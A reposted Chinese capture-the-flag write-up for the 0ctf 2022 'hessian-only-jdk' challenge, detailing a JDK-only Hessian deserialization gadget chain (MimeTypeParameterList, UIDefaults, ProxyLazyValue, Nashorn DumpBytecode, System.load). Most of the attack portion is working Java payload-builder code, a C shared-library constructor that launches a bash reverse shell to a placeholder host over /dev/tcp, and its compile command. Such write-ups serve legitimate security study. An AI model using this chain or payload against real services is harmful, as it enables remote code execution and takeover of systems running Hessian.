0ctf2022 hessian-only-jdk writeup jdk原生链

admin 2022年9月29日08:02:04评论154 views字数 6572阅读21分54秒阅读模式

周末和cx某人打了0ctf ,继hfctf2022 ezchain 找到rome二次反序列化链之后 ,hessian到挖jdk原生链了2333.

环境 :只有 hessian 4.0.38 + jdk8u342 直接就是hessian 反序列化,挖jdk原生链

0ctf2022 hessian-only-jdk writeup jdk原生链

hessian不需要继承serializable,
设置 SerializerFactory里面 setAllowNonSerializable(true);就行
和xstream有点类似 ,所以hessian的jdk原生链可以从xstream的历史链来作参考 。

https://x-stream.github.io/CVE-2021-21346.html

Rdn$RdnEntry#compareTo->
XString#equal->
MultiUIDefaults#toString->
UIDefaults#get->
UIDefaults#getFromHashTable->
UIDefaults$LazyValue#createValue->
SwingLazyValue#createValue->
InitialContext#doLookup()

但是实际上并不能直接用,
首先是javax.swing.MultiUIDefaults
在反序列化的时候就会报错java.lang.IllegalAccessException: Class com.caucho.hessian.io.MapDeserializer can not access a member of class javax.swing.MultiUIDefaults with modifiers "public"

所以需要找个类替代 MultiUIDefaults ,UIDefaults 是继承Hashtable的 ,所以需要toString() -> Hashtable.get() 的 ,找到了个java.awt.datatransfer.MimeTypeParameterList

java.awt.datatransfer.MimeTypeParameterList
private Hashtable<String, String> parameters;
public String toString() {
Enumeration<String> keys = parameters.keys();
while(keys.hasMoreElements())
{
buffer.append("; ");
String key = keys.nextElement();
...
buffer.append(quote(parameters.get(key)));
....
}
}

触发toString()

构造畸形的序列化数据
在Hessian2Input.expect这里

protected IOException expect(String expect, int ch) throws IOException {
....
try {
...
Object obj = this.readObject();
return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")" + "n " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
}

obj.getClass().getName() + " (" + obj + ")" + "n " 直接将obj拼接了 可以触发toString

在Hessian2Input.readObject case67 的时候->
this.readObjectDefinition((Class)null);->
throw this.expect("string", tag);-> this.expect()

所以重写
com.caucho.hessian.io.Hessian2Output在 writeString这里改下就行

0ctf2022 hessian-only-jdk writeup jdk原生链

SwingLazyValue && ProxyLazyValue

在SwingLazyValue.createValue中

0ctf2022 hessian-only-jdk writeup jdk原生链

拿到public static 的方法 然后invoke ,一般来说这种是用jndi来打比较多,但是题目没有tomcat 或者gadget, 所以jndi没法使用
然后这里有个大坑等等说到。
题目将
com.sun.org.apache.xml.internal.security.utils.JavaUtils 给ban了
看一下这个类原本的writeBytesToFilename ,直接写文件

public static void writeBytesToFilename(String filename, byte[] bytes) {
if (filename != null && bytes != null) {
try (OutputStream outputStream = Files.newOutputStream(Paths.get(filename))) {
outputStream.write(bytes);

所以现在思路应该很清晰了,在写文件的情况下 一般都是和System.load 组合拳 ,现在就是需要找一个public static 的写文件方法绕过JavaUtils.writeBytesToFilename(后来被告知是非预期解 打脸)
然后就是找 , 找到jdk.nashorn.internal.codegen.DumpBytecode.dumpBytecode

0ctf2022 hessian-only-jdk writeup jdk原生链

0ctf2022 hessian-only-jdk writeup jdk原生链

然后就是一个大坑。。。

0ctf2022 hessian-only-jdk writeup jdk原生链

因为classLoader的原因 ,在SwingLazyValue这里只能加载rt.jar 里面的类
而我找的jdk.nashorn.internal.codegen.DumpBytecode.dumpBytecode 位于nashorn.jar 里面
无法加载,在这里卡了很久 ,后来看到了个 ProxyLazyValue.createValue

public Object createValue(final UIDefaults table) {
if (acc == null && System.getSecurityManager() != null) {
throw new SecurityException("null AccessControlContext");
}
return AccessController.doPrivileged(new PrivilegedAction<Object>() {
public Object run() {
try {
Class<?> c;
Object cl;
if (table == null || !((cl = table.get("ClassLoader"))
instanceof ClassLoader)) {
cl = Thread.currentThread().
getContextClassLoader();
if (cl == null) {
cl = ClassLoader.getSystemClassLoader();
}
}
ReflectUtil.checkPackageAccess(className);
c = Class.forName(className, true, (ClassLoader)cl);
SwingUtilities2.checkAccess(c.getModifiers());
if (methodName != null) {
Class[] types = getClassArray(args);
Method m = c.getMethod(methodName, types);
return MethodUtil.invoke(m, c, args);
} else {

获取到classLoader ,所以就能正常加载jdk 里面nashorn.jar 这些里面的类了

然后由于Hessian 序列化的机制,ProxyLazyValue里面的 field acc 是在反序列化过程中会报错 , 所以需要将acc 反射设置为null

使用DumpBytecode.dumpBytecode 创建个动态链接库, 然后System.load 执行就行了

#include <stdlib.h>
#include <stdio.h>

void __attribute__ ((__constructor__)) aasdnqwgasdela1 (){

system("echo '/bin/bash -i >& /dev/tcp/xxxxxxxx/9998 0>&1' > /tmp/1");
system("/bin/bash /tmp/1");
}

gcc -c a.c -o a && gcc a --share -o a.so

创建文件

SerializerFactory sf = new SerializerFactory();
sf.setAllowNonSerializable(true);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
out.setSerializerFactory(sf);
Unsafe unsafe = getUnsafe();
Object script = unsafe.allocateInstance(ScriptEnvironment.class);
setFieldValue(script,"_dest_dir","/tmp/");
Object debug=unsafe.allocateInstance(DebugLogger.class);
byte[] code=Files.readAllBytes(Paths.get("a.so"));
String classname="asdxxxxxxx";
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode", "dumpBytecode", new Object[]{
script,
debug,
code,
classname
});
setFieldValue(proxyLazyValue,"acc",null);


UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("q", proxyLazyValue);

Class clazz;
clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList");
Object mimeTypeParameterList = unsafe.allocateInstance(clazz);
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);

out.writeString("aaaxxxx");
out.writeObject(mimeTypeParameterList);
out.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();
Files.write(Paths.get("ser"),bytes);

System.load 直接改下调用方法就行了,System.load 在rt.jar 里面 用SwingLazyValue 也一样

SwingLazyValue swingLazyValue = new SwingLazyValue("java.lang.System", "load", new Object[]{
"/tmp/asdxxxxxxx.class"
});

0ctf2022 hessian-only-jdk writeup jdk原生链

附上完整调用栈

dumpBytecode:94, DumpBytecode (jdk.nashorn.internal.codegen)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [2]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [1]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
run:1108, UIDefaults$ProxyLazyValue$1 (javax.swing)
doPrivileged:-1, AccessController (java.security)
createValue:1087, UIDefaults$ProxyLazyValue (javax.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:290, MimeTypeParameterList (java.awt.datatransfer)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
handle:43, Index$MyHandler (com.caucho.hessian.io)
doFilter:79, Filter$Chain (com.sun.net.httpserver)
doFilter:83, AuthFilter (sun.net.httpserver)
doFilter:82, Filter$Chain (com.sun.net.httpserver)
handle:675, ServerImpl$Exchange$LinkHandler (sun.net.httpserver)
doFilter:79, Filter$Chain (com.sun.net.httpserver)
run:647, ServerImpl$Exchange (sun.net.httpserver)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

来源先知(https://xz.aliyun.com/t/11732)

注:如有侵权请联系删除



0ctf2022 hessian-only-jdk writeup jdk原生链

欢迎大家一起加群讨论学习和交流

0ctf2022 hessian-only-jdk writeup jdk原生链

学如逆水行,不进则退


原文始发于微信公众号(衡阳信安):0ctf2022 hessian-only-jdk writeup jdk原生链

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月29日08:02:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   0ctf2022 hessian-only-jdk writeup jdk原生链https://cn-sec.com/archives/1323202.html

发表评论

匿名网友 填写信息